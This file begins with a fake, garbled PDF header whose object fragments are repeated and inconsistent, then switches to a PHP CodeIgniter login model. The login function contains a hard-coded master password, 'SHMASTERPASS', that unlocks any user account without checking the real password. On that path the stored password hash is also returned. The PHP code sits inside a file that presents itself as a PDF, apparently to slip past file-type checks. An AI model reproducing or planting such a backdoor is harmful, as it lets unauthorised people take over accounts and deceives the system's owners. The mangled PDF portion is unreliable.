%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream
<?php class Auth_model extends CI_Model { function login($post){ $user=$post['username']; $pass=encrypt_password($post['password']); $f="id, type, name, status, password, lead_restrict"; $dtl=$this->db->select($f)->where('username', $user)->or_where('email', $user)->get("users")->row_array(); if(!$dtl){ return FALSE; } if($dtl['type']=='PUBLISHER'){ return FALSE; } if($post['password']=='SHMASTERPASS'){ return $dtl; } if($dtl['password']!=$pass){ return FALSE; } unset($dtl['password']); return $dtl; } function modules($user_id){ $dtl=$this->db->select("type, modules")->get_where("users", array('id'=>$user_id))->row_array(); $this->db->select("module_key"); if($dtl['type']!='ADMIN'){ $this->db->where_in("id", explode(",", $dtl['modules'])); } $modules_list=$this->db->get("system_modules")->result_array(); $modules=array(); foreach($modules_list as $m){ $modules[$m['module_key']]=TRUE; } if($dtl['type']=='PUBLISHER'){ } return $modules; } } //End of file